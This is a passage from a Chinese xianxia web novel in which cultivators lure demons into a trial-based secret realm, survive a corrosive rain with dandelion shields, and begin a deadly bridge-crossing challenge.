张苔昨晚不是没考虑过这二人,不过她打心底认为,两人就那么待在庇护点的生存概率不比他们闯抗魔秘境低。
且也有考虑过今早去庇护点那边威吓庇护点中的那些炼气修士一番,昨晚魔窟扩张那么大的动静,但凡是个修士都能感知到,作为在魔窟扩张期间还活下来的他们,绝对不能小觑,故而这番威吓绝对能提升里边那两人的存活率。
之前她看冯阳匆匆离去,以为他就是肩负起队长的职责去庇护点警告一番的,没想到这人,却是直接把里边的两位给带出来了。
叶明堂也不是傻子,出来后也很快了解了所有事情的来龙去脉,当即就和冯阳吵了起来。
内容无非是,叶明堂认为冯阳口中说着他们救出来,实际就是想拿他们做探路的垫脚石,而冯阳咬死自己是为了救人,免得自己走后不知道哪天他们就被拿来给庇护点里的人填肚子,如果不服,他完全可以自己再回庇护点。
然后两人越吵越激烈,先前路上一些对彼此的不满也翻了出来。
很是让赤云宫的人看了一场热闹,郑尔雅更是跑到张苔这里问庇护点填肚子是怎么回事,还给张苔提供了冯阳是如何让庇护点的人交出她那两位队友的细节。
无非就是虚张声势,说他找另外的队友拿来了百毒不侵的八品丹药,让里边的人自行将人送出来,不然等他们队友中的几位体修服用丹药之后,进去就不是那么好说话了。
庇护点中禁止高阶修士利用修为欺压低阶修士,故而禁用灵力了不错,但这条限制对体修,明显不强,再加上他们这群人是在庇护点外昨晚安然度过了魔窟扩张的,其能耐不言自明。
故而还真让冯阳给装到了,顺利将人带出来。
最终无论叶明堂吵得再大声,阵法成了,他还是不得不踏入其中。
不过冯阳那边还是扔给了叶明堂一个储物袋做补偿——毕竟叶明堂和黎秀梅人虽然是出来了,但身上除了一件蔽体的法袍,其余都被摸走了个干净。
令张苔诧异的是,黎秀梅和杜伍却是留下了。
按照两人的说法是,反正魔窟昨日就扩张了,下次扩张至少在十天半个月之后。
魔窟扩张到直逼金砂仙城的城区,宗门不会再放任,哪怕宗门没反应,他们这批前往秘境的,在秘境中待两天,回宗门禀告再花两天,给意外留个两天,她只需在魔窟外围撑个七八天,就绝对能等来救援。
张苔狐疑看向两人,这话说起来轻巧,从矿韵镇赶到魔窟外围,现在可不是一段短距离,期间只要碰上个魔将,轻易就把命给交代了。
冯阳也卖力劝着,让两人赶紧到阵中来。
最终还是魏敏贞发话,让他们玄天宗的人不要再耽搁了,尊重队伍里各人的选择。
这让张苔想起,貌似在叶明堂和冯阳争执的过程中,黎秀梅找过一次魏敏贞,请求为她指一条生存率更高的明路,还朝魏敏贞行了个大礼。
不过张苔当时觉得魏敏贞这伙人奔着机缘而去,正愁着挡刀探路的不够,魏敏贞无非也就说些劝诫的话。
现在看来,恐怕当时魏敏贞的确为黎秀梅指引了一条明路。
但是如此仓促之间,张苔也不敢赌,从阵中出去与黎秀梅二人一路,于是拖延着拖延着,眼前白光一闪,自动和其余修士被传送离开。
11. 引魔
关于这次赤云宫这批弟子精心定下的传送的地方,是镇上的药草园,
之所以选在这里,是因为魏敏贞的法宝探测到秘境的开启点位于此处一棵似真实假的苍天古树。
赤云宫布阵的阵师水平很高,没有将他们传送偏离目的地,在药草园中,他们这行人没造成什么动静地解决掉分布的魔物后,很快找到了法宝认定的古树。
此树高达百丈,树干粗壮,需十数人合抱方能围拢。其树皮斑驳,宛如鳞片,隐隐透出一股沧桑之气。
看起来与园中的其余古树并无不同——园中只剩下这种具有观赏作用的灵植,其余稍微有点功效的,早就在当初矿韵镇沦陷之前就被席卷一空。
一行人又就开始树上树下翻找起秘境开启标记点。
抗魔秘境的进入方式也极其简单,在开启的载体上,往往会有对应十个孔洞,而这十个孔洞的大小,不偏不倚能够插入十枚市面上最常售卖的空白玉简。
当第十枚玉简嵌入之后,抗魔秘境自动开启。
这是中州还安稳繁华的情况,倘若整个中州处于差不多沦陷之时,设下秘境的世家大族或某位大能,会自动让其直接处于“狩猎”状态,当秘境激发载体附近的魔物达到一定数量时,就会自动开启。
这树既是作为秘境开启载体的假树,材质自然卓然超凡,其上当然不会有风吹雨打侵蚀抑或虫害留下的孔洞,或者为了融入环境,进行了类似的刻画,但只要摸上去就知道不是。
所以此树之上,能找到的十个孔洞,就是秘境的开启媒介。
找出这些之后,魏敏贞没急着让大家将玉简嵌入,然后进入秘境,反而点出四个人,让他们单独拿着玉简,“我去引一批魔物过来,等我将那些魔物引来之后,你们再看准时机插入。”
话落,身影就消失在此处,这速度,修为、身法品阶、熟练度缺一不可。
郑尔雅是被安排最后四位插入玉简的人之一,她有些呆不住,往张苔这边找来,将手里玉简塞给张苔后道,“我也去拉一批魔物共沉沦,张苔,事情……”
“不行!”张苔还没说什么,孙元发现了这边的动静,直接表示反对。
“你这简直是胡闹,事先你并未和魏道友进行商议,万一前来的时间不一致怎么办?万一你们中有一位引来的魔物太多太强而另一位尚且未抵达此处,迫于生存,形式所迫秘境必须开启,那位未抵达的岂不会被遗留下来?”
郑尔雅上下打量孙元一番,“你谁?不知道你姑奶奶的实力和打算就在这里乱吠?你姑奶奶我随便吊几位实力强劲一点的魔卫,在离药草园不远不近的地方打转,压根花不了多少时间,感知到魏师姐回来了,就同时也往这边赶了,不劳你多费心。”
扔下这句话后也消失在当场。
张苔见孙元满脸愠怒,免得殃及自己,脚底抹油窜出老远,回头看,孙元也只留下一个冲出药草园的背影,估摸着是心火难泄,也去遛魔物去了。
其实张苔也不知道,吸引这么多魔物进抗魔秘境于自己而言利弊如何,前面些年她基本上都是在苦修,进入的秘境不多,基本上是在宗门抢到的名额,那些秘境完全经过宗门把控,有生命危险还能捏碎腰间令牌即刻传送出来。
抗魔秘境算是她头一次面对,其中的杀机恐怕也是不容小觑,多引一些魔物过来,鉴于魔物想要出抗魔秘境只能在最后传送出口处对修士进行附身,借由修士出来,秘境期间定然要对“载体”进行“保驾护航”,或许说不准真能扛过一些必死局。
但是高等魔物也不是傻子,怎么会完全让他们操纵。
张苔叹口气,算了,且行且看吧。
*
不久之后,张苔就感知到郑尔雅引着一堆魔物在药草园外绕圈了——矿韵镇沦陷之后,所有的隔绝阵防窥阵等全部失效,故而神识观测很清晰不受阻拦。
随即就是孙元,两人还碰到了一起,两股魔物群合为一,而两人一边奔逃过程中还相互下手,也是得亏两位实力卓绝,身后魔物最高也就金丹大圆满左右的魔卫,倒也没出什么意外。
只是没想到等待魏敏贞往这边赶来时,远远地就感知到强烈的威压——这狠人,恐怕是把魔将招过来了。
药草园外围的孙元和郑尔雅见此色变,也不再顾及对方,疯狂往园内古树这处赶来。
随着与魏敏贞距离越来越近,身上的威压越发沉重,这个疯子,居然足足招来了五位魔将!张苔手中的玉简都差点没拿稳掉落地上。
还好以上事情没发生,不然她就捅娄子了,见距离差不多的时候,她赶紧将玉简严丝合缝卡入孔洞。
咔咔咔,另外三人同样操作,十枚玉简全部归位,朦胧的光晕自古树上透出,逐渐扩大,将一行十几位修士全部笼罩其中。
除此之外,三人引来的许多魔物,也在光辉照耀范围内,并且当光触及祂们之时,祂们仿若被定格,维持着追赶的姿势,却半分寸进不得。
光晕还在往外扩大,越来越耀眼,距离光源较近的张苔已经睁不开眼,全靠神识查看周围。
有意识到什么的高等魔物,仓皇掉头,这时候张苔察觉到身侧的魏敏贞,猛地拔出先前自己插入的那块玉简,朝着一个方向扔去。
玉简带起的光芒在半空中划出一道瑰丽的弧线,砸中回转的三位魔将。
这也是张苔神识能感知到的最后画面,随即,她头昏眼花,被一股不可名状的力量扭曲着。
就在感觉全身要被拧碎了之时,耳边又是沉闷砰的一声,钝痛伴着冰冷潮湿在后背炸开,眼前的混沌也逐渐褪去。
她始终铭记着自己是跟一群魔物传送进来的,顾不上打量环境,即刻翻身而起,调转灵力戒备周身。
不想赤云宫的弟子行动比她更快。
目之所及的光线瞬间燃烧起来,如流动的熔岩,却不灼伤身为修士的她,似是给正在传送进入此处的引起阵阵波动的区域形成一条隔绝的保护带。
“管一管那些从你们身上剥离的没神志的东西,我们若是死了一个,你们可就少一分出去的希望!”
听着这道清越的声音,张苔明了,是魏敏贞,不过金丹修士总归是金丹修士,碰上和元婴修士媲美的魔将魔物,总归是讨不了好。
所以出声,直接点名事态形式是对他们修士而言最为有利的做法。
魏敏贞此刻的诉求也很清晰,就是停战,至少在抵达最终的秘境
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传送出口前,不要爆发明面上的双方动手。
她对话的是高等魔物,毕竟在场统共修士十六人,然而高等魔物中清醒着的除了魔将三位,魔卫足有二十八位,剩下的魔使魔卒更多。
实力强劲的高等魔物对低等魔物有着压制作用,这些高等魔物尚且还能够保留意志存活至今,尤其是那三位魔将,付出不知多少艰辛,此时再怎么恼恨,恐怕也更想带着自己的精神意识继续活下去。
不过魏敏贞的话貌似没有起到什么效果,场面还是混乱非常。
一位玄袍魔将袖袍一挥,一道黑气如鞭甩出,探入火红灵力毫无阻隔,将赤云宫的一位医修缠绕拖拽而出。
那位医修死命挣扎不脱,朝着魏敏贞方向的求救还没喊出口,便两颊凹陷,头发灰白的昏迷过去。
一切发生在瞬息之间,境界压制之下,魏敏贞完全没反应过来。
在场的脖颈处悬挂了一串骨铃的魔将以及很多魔卫,祂们才刚刚压制平息下周围躁动的低等魔物,见到玄袍魔将如此作为,颇为神色不虞,显然是很不赞同这位玄袍魔将的做法。
剩下的那些高等魔物有的是初来乍到的莽然,有的则是事不关己,总之都没有动手。
玄袍魔将自然敏锐察觉到那些不满的眼神,祂袍面的血色暗纹餍足了般亮了亮,“你们懂什么,反正那些蝼蚁只要出个人,这人是半残的,还是完好的又不做什么限制,直接让他们留一口气,也免得后续关卡里这些蝼蚁暗中作怪。”
不少高等魔物被说得有些蠢蠢欲动,包括剩下的最后一位,头颅无发,光秃秃脑袋上是十几只蠕动眼球的魔将。
骨铃魔将已然忍无可忍,其实进来的统共是四位魔将,只是还有一位魔将已经沦为跟低等魔物差不多的存在,祂敲晕这位已经出了不少力,不想跟脑残细细解释。
祂通身威压全开,“没进过抗魔秘境,就不要轻举妄动,抗魔秘境要是这么好应付过去,那能够叫抗魔秘境?你们自己看看天上吧!现在还只是第一轮呢!”
总归,场子是被这位骨铃魔将镇住了,毕竟魏敏贞招惹来的魔将中,也只有祂实力最强,起码也能跟元婴后期媲美。
不过张苔仍不敢松懈,一边警觉着一边抬头。
他们这群修士魔物被传送到的区域是一片旷野,暗沉天穹如乌蓝幕布笼罩,正中硕大的血色文字格外醒目:
“第一轮·蚀雨天
蚀液落,身魂俱灭
持蒲甲,可避灾厄
三刻后,入下一轮
蚀雨倒计时:三罗预五百九十二刹那”
最后的倒计时还在一刹那一刹那跳动削减。
魏敏贞乘势站出来道,“这轮关键在于蒲甲,蒲甲的启动万一你们达不到要求呢?如果被弄得半死不活,出去之后注定逃不开被吞元的命运,那还不如直接死在这里算了,至少我被弄残后,在这一关卡如果需要灵力的话,我是半分不会出的。”
“秘境耗时长、杀机重重,我们双方之间的冲突后续还有大把时间可以清算,眼下才第一关,私以为大家没必要直接走到撕破脸的程度。”
“时间紧迫,我建议大家现在抓紧时间去寻找规则中的蒲甲。”
12. 秘境(一)
总归最终,心思各异的几方此刻暂时达成了共识,在阴沉的旷野中找起了规则中的蒲甲。
叶明堂倒是一改之前的霉运,很快就率先在一片茂密的草丛中,翻到了一块玉佩。
玉佩散发着微光,张苔注意到叶明堂那边时,已然是身处光幕屏障下的叶明堂了。
之后便是一位魔卒,实力大约在炼气一层,也找到了一块小木牌,注入灵力后,木牌也能形成屏障。
这倒是印证,高等魔物储藏的灵力也可用。
那玄袍魔将本想强抢这木牌,却不曾想这木牌的抵御屏障极为强悍,就算祂身为魔将都强夺不下,这也从侧面印证了设置这一抗魔秘境背后势力的强悍。
很多想直接将修士弄残的激进派,看到这幕,心思淡了不少,毕竟如此碾压祂们的强悍秘境,修士残了活不到最后,就少了一个出去的载体。
然而这两场开门红后,其余修士和高等魔物找寻良久,都没有找到明显具有防御性质的物件。
尤其是高等魔物那边,暴躁了不少。
祂们身上的灵力本就不多,用灵力去测试启动就是一种消耗,灵力于祂们而言有着重要作用,压根经不起这么耗。
加上头顶上的时间在迅速流失,魔化之后,祂们性格也大受影响,现场的氛围无端又紧张了很多。
张苔扫了一眼头顶,压迫感十足——需要用魔将都破不开的屏障进行抵挡,可见那蚀雨的可怖,能不压力大吗?
但心中总是隐隐有些怪异感,可偏偏脑袋就跟木了一样,想不出。
可能是第一次进入抗魔秘境,也是第一次直面毫不留情的杀机,她有些无所适从地茫然和从众,和周围人一样无头苍蝇般四处搜寻翻找。
耳边捕捉到某处传来吵闹声,是叶明堂在吱哇乱叫,“你就算仗着自己实力再强也不能抢我的东西,没看到之前堂堂魔将都没得手。”
他对面的魏敏贞素来淡漠的脸上闪过几丝不耐,“说了让你站着别动,我就遥遥看一下,毕竟规则中明明说的是蒲甲,而现在的两件抵御蚀雨的法器都和蒲甲沾不上边,我只是看一看到底哪里被我忽视了!”
说完又喊冯阳,“你的队员,要不还是你来,说不定他手里的压根不是正确物件而是催命符,毕竟和蒲甲看不到半点联系,你也不想你的队员才第一关就死了一个吧。”
叶明堂听了又气又惊,仔细看了看手中玉佩,随即又迅速安定下来,理直气壮道,“你自己不行,不要恶意中伤别人,谁说我手里的东西跟蒲甲没关联了?这玉佩上好大一株蒲公英呢,这不是和蒲字对上了?这么坚实的屏障,还不能称之为甲吗?”
他越说底气越足,“没错,就是这样的!我手上的东西就是正确的蒲甲!”
魏敏贞得了回答,往骨铃魔将那看了一眼,又往持着木牌的魔卒那看了一眼。
骨铃魔将心领神会,身形一闪便掠过魔群,出现在那持木牌的魔卒面前,很快祂的声音传来,“木牌之上也有一株蒲公英。”
随即一处又传来惊呼,沿声望去,原来郑尔雅已经动手摘了一株蒲公英并往其中注入灵力,形成了屏障。
而她的身侧,正是有一小块蒲公英田。
这布置者也是颇为让人无语,先前那地方明明就是一片杂草地,此刻明明是进行了场景替换,不带这么玩的,非得让他们意识到答案,再给出答案。
张苔站在叶明堂旁边看着蜂拥而去,争抢着的一群高等魔物和修士也是很无奈,先前叶明堂这边有了动静,她就往这边凑了,谁知道蒲公英田地离叶明堂这边会那么远呢,若不是她身为修士,耳聪目明,恐怕都不怎么能看清那片蒲公英田地。
她本就是个比较迟钝木讷的性子,这不一下就落后了。
不过看着半空突然多起来的飞舞着的小绒毛,以及从田地里出来的,已经撑开屏障的修士和高等魔物,大部分身前蒲公英伞盖都有所残缺,有的伞盖还算完整,但是也就剩个伞盖,下边支撑的根茎不见踪影就漂浮着一个伞盖。
再看看叶明堂手中刻着蒲公英的玉佩,那上边的蒲公英亭亭玉立,蒲公英伞盖更是圆润饱满。
念及那片蒲公英田就是突然刷新的,那别的刻录了蒲公英的法器会不会也刷新呢?
这么想着,她就开始继续边走边翻找了——神识受限,若想全面探查,她不得不进行移动,这一点,让她对蒲甲法器刷新的把握更多了几分。
后续她在一处草丛泥地里翻出的石块,上边还真赫然刻着一株完整成熟、种子未散而伞盖完整的蒲公英。
她一刻不敢耽搁往其中注入灵力,果真的屏障形成时,另外有实力在金丹后期的魔卫以及赤云宫的一位体修出现在了她面前。
毕竟她也不敢赌,自己绝对能找到刷新的法器,所以她翻找的路线是朝着蒲公英田靠近的,越往这边人越多,她的反常作为也迟早会被看到。
她没有理会过来的两位,抬头看了看天,倒计时只剩最后二十八刹那。
目前她的位置离蒲公英田还有一段不近的距离,她迅速往那边赶过去。
蒲公英田地里已然没什么修士和高等魔物,整片田地被蹂躏踩踏以及魔气灵气冲击地不成样子。
反倒是她现在位置头顶逸散出来的蒲公英种子绒毛倒是不少。
灵力倾洒周身,木系法诀《芳菲召》发动,张苔附近范围,轻轻柔柔地在空中飘荡着的绒毛纷纷向她聚拢,穿过屏障,贴附周身。
本来张苔是打算万一没找到法器,这么操作后直接往这些绒毛中灌注灵力的,但现在找着了就不需要了。
还有第三个方案就是如若这些绒毛不能起作用,她就直接大喊自己什么都没有撑不起屏障,她绝对不相信在场一些高等魔物没有藏私多拿几株,肯定有不想她就这么白白死了的高等魔物进行支援白送她一株。
这一关卡,张苔认为布置势力的主要目的在于除掉低等魔物和丧失理智的高等魔物,其实后者也跟前者差不多,再过段时间,完全丧失理智的高等魔物也就彻底沦为低等魔物了。
毕竟想到蒲公英不是很难,而蒲公英田地又这么大一块,统共修士才十六人,高等魔物也就百余人,蒲公英绝对够用了。
一边想着,她一边用灵力牵引着绒毛在手中汇聚成一团。
穹顶蓦地传来玻璃碎裂般的脆响,张苔抬头,原是倒计时归零,天空的血字和悠哉晃荡的蒲公英绒毛消失,哗啦哗啦,幽蓝液体如天河倒灌般冲刷而下,天地间蒸腾起灰蒙蒙的水雾。
一些先前被压制着的低等魔物,迅速清醒,挣扎着发出此起彼伏的惨痛嚎叫,在整个区域中横冲直撞,不过对在场有屏障的诸位还是造不成什么伤害。
不消片刻,动静声响弱了下去,那些没有“蒲甲”抵御的存在,纷纷溶为一滩颜色各异的不明液体。
期间张苔看到不远处的魏敏贞,及其身侧的修士,分别在半空中凝结出冰层与火墙,但也是不过瞬息,便都崩裂消融。
三刻呐,张苔觉得这三刻的时间实在是分外难熬,看了看计时,才堪堪过去十分之一。
扫视一下周围,离她最近的正是先前玄袍魔将弄残的那个医修,之后魏敏贞给他喂了颗丹药后便醒转过来了。
但此人的老态却没能逆转,肤若树皮,眸黯神浊,已不复来时的俊逸鲜活,修为更是直接跌到了炼气八层。
这可是永久性的道基破损,多年苦修付之东流,且出去之时被附身也不知道会不会
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丧生于吞元——毕竟那些高等魔物都附身了,传送离开抗魔秘境之后怎会放弃吞元?
就算这次侥幸活着回到宗门,这幅模样也不知道还剩几年可活。
看得张苔直在心底为他叹气,又见他身前悬浮亮着的蒲公英伞也缺了半边,想起抵御法器上的蒲公英都是完整的,她不由向对方问道,“医仙道友,你的蒲公英有多吗?还是只有手上这一株?”
医修的动作和反应也迟缓了一些,过了会儿才答道,“多谢关心,虽然我实力低微,但多捡几株东西的本事还是有的。”
“倘若后续这株支撑的屏障中断,相信我手里剩下的那几株也足够补给。”
张苔有些尴尬地转过身,看来大家都有考虑到残缺蒲公英在抵御蚀雨可能中途不济的现象,是她太过自以为是了。
后续发展也确实印证了这份担忧,在场一些修士和高等魔物的屏障开始有裂纹出现,不过很快他们又展开了新的屏障。
三刻钟就在雾气弥漫的雨声中渐渐过去,当计时灵具最后一刹结束的时候,天地间所有的蚀液毒雾骤然消散,如同被一只无形之手抹去,天光刺破阴霾,红日盘挂于青空。
在场存活着的各位,身前抑或储物法器中的蒲公英自行穿过一切障碍,飞速飘往先前传送他们抵达的场中正中区域。
汇聚的蒲公英绕圈飞舞着,最终化为一个旋转着的白色漩涡。
估计进入这白色漩涡,也就传送到下一处了。
没了大量的低等魔遍布,整个区域一下子空旷起来,大家三三两两往白色漩涡那边聚集。
张苔为了不让自己显眼,在周围高等魔物和修士屏障消失,蒲公英飞走之时,就把石块收到储物法器中了。
在随着人流往正中区域过去之时,她察觉到储物法器中那一石块有所异动,竟变为了一件内层软甲,通体如月光织就,细看可见万千银纹游走。
她的神识落于其上,便传递过来了这件软甲的具体信息。
「地脉金丝缕,中等仙器,防御类,主材为八阶天材地宝地脉软金,水火不侵,在炼器时熔铸了一缕‘不死蒲苇’的精魄,使其柔韧至极,外御锋刃如蒲苇纫丝,内护心脉似磐石镇魂。
可豁免80%魔王之下的伤害,抵御魔王级别全力五击,抵御魔君级别一击;可削减出窍修为之下修士30%的伤害,抵御出窍级别修士全力三击,抵御化神修士一击。
注:以上是崭新仙器的理想效果,实际上每次抵挡伤害都有磨损,请持有者不要太过将自身安危依赖于本仙器。」
张苔睫毛轻颤,压下心底不断翻涌的惊喜。
中等仙器呐!这若是放到拍卖行,绝对是可以竞争到千万下品灵石的价格。
目前大陆上的通用货币是灵石,灵石之中充裕着灵力,还可用于修炼,按照灵石之中灵力的含量和精纯度可以下品、中品、上品、极品四等,四个等阶以一百为单位可进行兑换:一百下品灵石兑换一块中品灵石,一百块中品灵石兑换一块上品灵石,一百块上品灵石兑换一块极品灵石。
大部分修士身上零零散散的灵石加起来,能凑七八块上品灵石左右,而这件仙器,就值上千块上品灵石!
只是这仙器的性能效用是真的不错,八阶的主材地脉软金她之前更是听都没听过,若真是送到拍卖行去她又舍不得,但不转手卖出去的话,那可是上千的上品灵石,她用来干些什么不好?
到底是自留呢?还是送去拍卖呢?
不行,现在还在杀机重重的秘境之中,边上还有那么多心怀叵测的高等魔物,她不能飘,这一切都等出去了再说。
张苔几乎是拼尽全力才没让自己失态,随着众人众魔走入旋涡传送到下一轮区域。
13. 秘境(二)
传送的白光如潮水般褪去,张苔警戒着周身准备打量四周环境之时,听得旁边传来一道声音,“治伤倒是挺快,修士魔物还区别对待,这新一轮规则更是不知,到底是对修士的偏袒,还是在给局势火上浇油。”
是位赤云宫的女修,见张苔困惑看过来,她便用眼神示意前方。
只见前方千丈深渊如巨兽裂口,蒸腾的青雾凝成遮天蔽日的瘴云,十座青石桥在其间若隐若现。
众人众魔就身处在有十座桥可供通行的断崖边上,桥头碑文上正是写着此轮新规:
“第二轮·悬命桥
规一:十座桥只有三座是生路,死路走到尽头仍旧难逃一死。
规二:桥上每隔一段距离便有问题出现,回答错误桥会坍塌。
规三:一位修士的半身骨血可以强行凝固即将坍塌的桥身十息。”
张苔立刻明白了那位赤云宫道友的意思,她在上一轮结束时也看了下,除却低等魔物,其余的修士和高等魔物倒是没有死亡,不过有不少在换新屏障的时候不及时,还是被少量蚀液伤到了。
但进入这一轮之后,修士的伤势倒是全恢复了,但魔物的没有,比如那位头顶眼球的魔将,手臂之上还溃烂流脓呢。
偏偏这一轮还有可用修士半数骨和血填桥固桥的捷径,且这捷径还提高了魔物附身以及施展吞元的成功率,这不是给局势火上浇油是什么?
不过再怎么难,也有高个的先顶着,张苔只管保护好自己不被突然发难而遭殃,具体怎么解决,还有两个宗门队伍的队长思考呢。
被在场很多人指望着的魏敏贞也颇为头疼,修士失去半身骨血,至少也得要六品的生骨续肌丹,这丹药她身上备了,也不是舍不得,但这个口子一旦开了,恐怕她身上那几颗丹药压根不够填这群魔物的丧心病狂。
高等魔物那边也心思各异,一群魔物当着他们修士的面就开始争执起来,有些魔物哪怕是同样的心思但都持不同的观点。
比如有些魔使魔卒巴不得上面的魔将魔卫赶紧选择坑害修士、扰乱答题,然后遭到修士强烈反扑,两败俱伤,到传送出口处祂们就可以渔翁得利附身修士了;有些魔使魔卒却激烈反对,祂们也想为自己谋一条生路,但显然现在不是动手的时刻,祂们觉得自己一定会被派上去打头阵,不如最后关头打头阵万一真的抢占成功附身名额了呢?
魏敏贞一直想对魔物那边说些什么,但时机一直不合适,她也正思考着别的方案。
既然身上没有十六颗丹药,那就以最大的恶意揣测这群魔物。
频频四望的张苔也在思索,不过她的角度不同,她只是发觉当自己混迹在一群修士之中的时候,从众让她惫懒于思考,但不从众的话她又清楚,当一个人不是格外优秀的时候,不与集体一起行动不是脱颖而出,而是在拖后腿或者是搅屎棍。
她有自知之明,故而也就不乱来,只能希望这次统领他们这批群体的魏敏贞,是个高水平的领队,能够带着他们这批人安然脱困吧。
就在魔物那边争论,修士这边安静的某一刻,脚下一阵震颤,崖边本就逼仄的站立区域,又陷落掉一部分。
如若再往站立区域陷落,众人众魔迟早没有立足的地方。
早在传送进入此处之时,张苔就感知到,所有御剑凌空之类的操作都被限制了,这一关卡正逼着他们赶紧上桥。
魏敏贞当即不失时机、声音洪亮道,“大家稍安勿躁,当务之急是找到正确的桥,现在把我们打残挖出骨头放出鲜血也用不上。”
“而这断裂的崖体也摸不准会是哪些位置,若是之后情急之下迫使诸位不得不站到随机分配的那座桥上,生存概率就全靠运气能不能压中那百分之三十了。”
其实还是一个拖字诀,不管方法老套不老套,好用就行。
当即就把在场所有修士和魔物的心思拉回到如何选定上哪座桥上。
立马有发表自己看法的,“这十座桥我倒是看不出什么差别,莫不是就一个心理战?以前我在宗门秘境中也遭遇过类似,其实那几个选择都对,重在考验你选择了就要坚定下去,不要在中途反复怀疑是不是选错了,越怀疑心神就越虚就越容易在那个选择中掉坑失误。”
是赤云宫的一位单木灵根男修,有些腼腆,发表完看法见众人众魔看着他,当即低头脸颊有些红。
魏敏贞见到了,作为队长当然要给予回应,更何况对方的话本来就有一定道理。
她一锤定音,“在选择之前严谨慎重,但一旦选择之后,我们至少我们赤云宫的弟子要坚信选的桥一定是生路!”
这一段插曲过后,赤云宫一位自传送到此处就摆弄着小型星仪的阵修,突然扔出一张巽风符,直奔第四桥外侧某处栏板。
狂风骤起,吹散了那一片的雾气,显露处其上密密麻麻的小字。
全都是倒写的“生”字。
此举颇为突兀,且压根没有事先说明,若不是在场之人都感知到无法对自己造成威胁,不然恐怕又得混乱。
偏偏人家找出了一条生路,在场诸位也不好多说她什么。
张苔多看了那位阵修一眼,正是布置传送阵将他们这行人精准传送到药草园的那位。
赤云宫的这批弟子,不愧为大陆顶尖宗门的内门弟子,不仅仅在修炼天赋上极佳,在本事上亦有两把刷子。
玄袍魔将冷哼一声,“这也不能绝对说明那座桥就一定是对的生路。”
魏敏贞向来护短,当即冷声反讽,“那你有本事找出别的生路,且不走这条。”
玄袍魔将顿时脸色难看,没别的原因,因为就在两位对话之时,祂也用威压胁迫着一些魔卫魔使各用手段,在剩下九座桥同样的位置,驱散雾气,但那些栏板上并未有字。
时间一分一秒过去,眼看着能够立足的地方越来越少,且有些修士和魔物都要被逼到离第四桥越来越远,有之后来不及上第四桥的风险。
目前也没找出别的生路,于是魏敏贞招呼着修士们赶紧登上第四桥。
这群高等魔物也不甘落后,纷纷各显本领登上第四桥。
和身边两位修士站于桥上,魏敏贞确认那三位魔将已上桥,便转身对着一群正在上桥的魔物道,“虽然按照规则三...”
她话才刚出口就被玄袍魔将打断。
玄袍魔将满脸不耐烦,“赶紧往前走看题目去,现在连个尽头都看不到,第一题就动手是自杀着玩吗?至于后续,那大家各凭本事了。”
“你也不要再想着用玉石俱焚一套再来威胁,这秘境本就偏向你们修士,真玉石俱焚吃亏的也不是我们魔物,反正天天狂躁焦渴的,老子早就活腻歪了。”
这番话成功把魏敏贞要说的给堵住了,魏敏贞看向骨铃魔将,对方一丝眼风也没回,笑话,祂自己也是高等魔物,先前阻挠是未知秘境情况,现在看来,这一秘境对于魔物暗害乃至明害修士都没有惩治。
魏敏贞算是明白了魔物那边的态度,对方下手之意已决,哪怕是修士这边用生死相胁迫,对方也不让步。
“呵,我早料到你们这群货色是什么德行!”
魏敏贞冷笑,指尖抹过腰间储物法器,瞬息间,五枚幽冥爆震雷已如疾风般甩出,她同时厉喝一声,“退!”
三人身形一拔如箭往后疾退,那边的高等魔物也被这突然的变故打了个措手不及。
“贱人,竟使阴招!”
玄袍魔将赶紧挥袖,卷出冒着黑气的三丈厚实土墙围挡在身周;眼球魔将头顶的眼球盯着迸射出雷光电光与朝祂这个方向而来的雷球相撞,远远地提前引爆;骨铃魔将脖颈上的铃铛飞出变大,将其罩在其中,将炸雷的波及隔绝在外。
其余魔物那边就惨烈一些,雷球在魔群中炸出漫天火花,雷球附近的低阶魔物直接化为焦骨灰烬,除却少数反应快的魔卫及时自保之外,其余魔物都乱作一团,两只赤目魔物慌不择路撞在一起,被雷火余波扫中,顷刻间血肉碳化。
等到幽冥爆震雷的效用完全过去,玄袍魔将撤去防御,忽而意识到什么,往周围一看,果然这座桥,上来的修士除了魏敏贞领头的这三位,其余修士都不在!
又回头,除却那端桥台桥堍部分,其余早就塌陷。
中计了!剩下的十四位修士,定然是上了别的桥。
祂忍不住身形暴起,骨爪撕裂空气直扑魏敏贞面门,却在距她三寸处骤然僵滞。
还是骨铃魔将制止了祂。
不待玄袍魔将发作,骨铃魔将让祂冷静点,然后一双有着巨大眼眶的渗人眼睛,阴鸷盯着魏敏贞,“你很聪明,但聪明人一般活不长久。”
趁着即将有部分魔物或者修士上不了第四桥的时机,装模作样号召修士赶紧上桥,并且亲自下场,用带头匆匆往桥上赶的举动煽动着祂们魔物赶紧上桥。
上桥后又用对话吸引祂们注意力并顺带进行拖延让更多的魔物上桥,以及让剩下的修士上别的桥。
魏敏贞淡漠捋了捋衣袖,“谬赞,至于我能活多久,这就不归阁下所管的了。”
又看向玄袍魔
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将,“还打吗?其实现在我们修士丝毫不介意跟你来场生死之战,我想很多魔卫也不会袖手旁观,毕竟你的存在让祂们对最终能否成功附身传送出去带来了不小的竞争。”
这番挑拨显然很让一些魔卫意动,毕竟修士总共只有十六位,而魔将加上魔卫的数量接近三十,附身出去的名额根本不够分。
更意动的是大批的魔使魔卒,祂们的希望更加渺茫,光是除掉头顶上一位魔将的这个可能,对祂们而言更加刺激。
玄袍魔将察觉到那些目光里的跃跃欲试,其中更是有几位实力已达半步魔将的层次,那么多的魔使魔卒下黑手也应接不暇,真动起手来祂也没有百分百把握,最主要的是祂不想让眼前这个该死的女人渔翁得利。
祂深呼吸压抑住怒火,勉强挤出一丝微笑,“不打了,我们现在先去看看这桥上的问答是什么形式吧。”
*
另一边,张苔和一众修士以及一些实力较弱的高等魔物在第五桥上势如破竹的行进着。
他们都已答完三题,约莫走过了桥的三分之一,问题很简单,都是一些修炼常识,用灵笔灌注灵力书写作答即可。
跟着过来的魔物都是些筑基炼气实力的魔使魔卒,在场十四位金丹修士解决起来不要太轻松,直接管得祂们服服帖帖不敢有丝毫别的心思和作为。
没有魔物的捣乱,这第一题也没有为难大家,所以过得很快。
张苔往第四桥的方向望了望,由于桥外都被极为厚重的毒雾覆盖着,故而也就看不到魏敏贞那边的情况是怎样的。
但事情如此已是最好的走向了,当时可站立区域越来越小,临近要上第四桥之前,魏敏贞传音的安排言犹在耳。
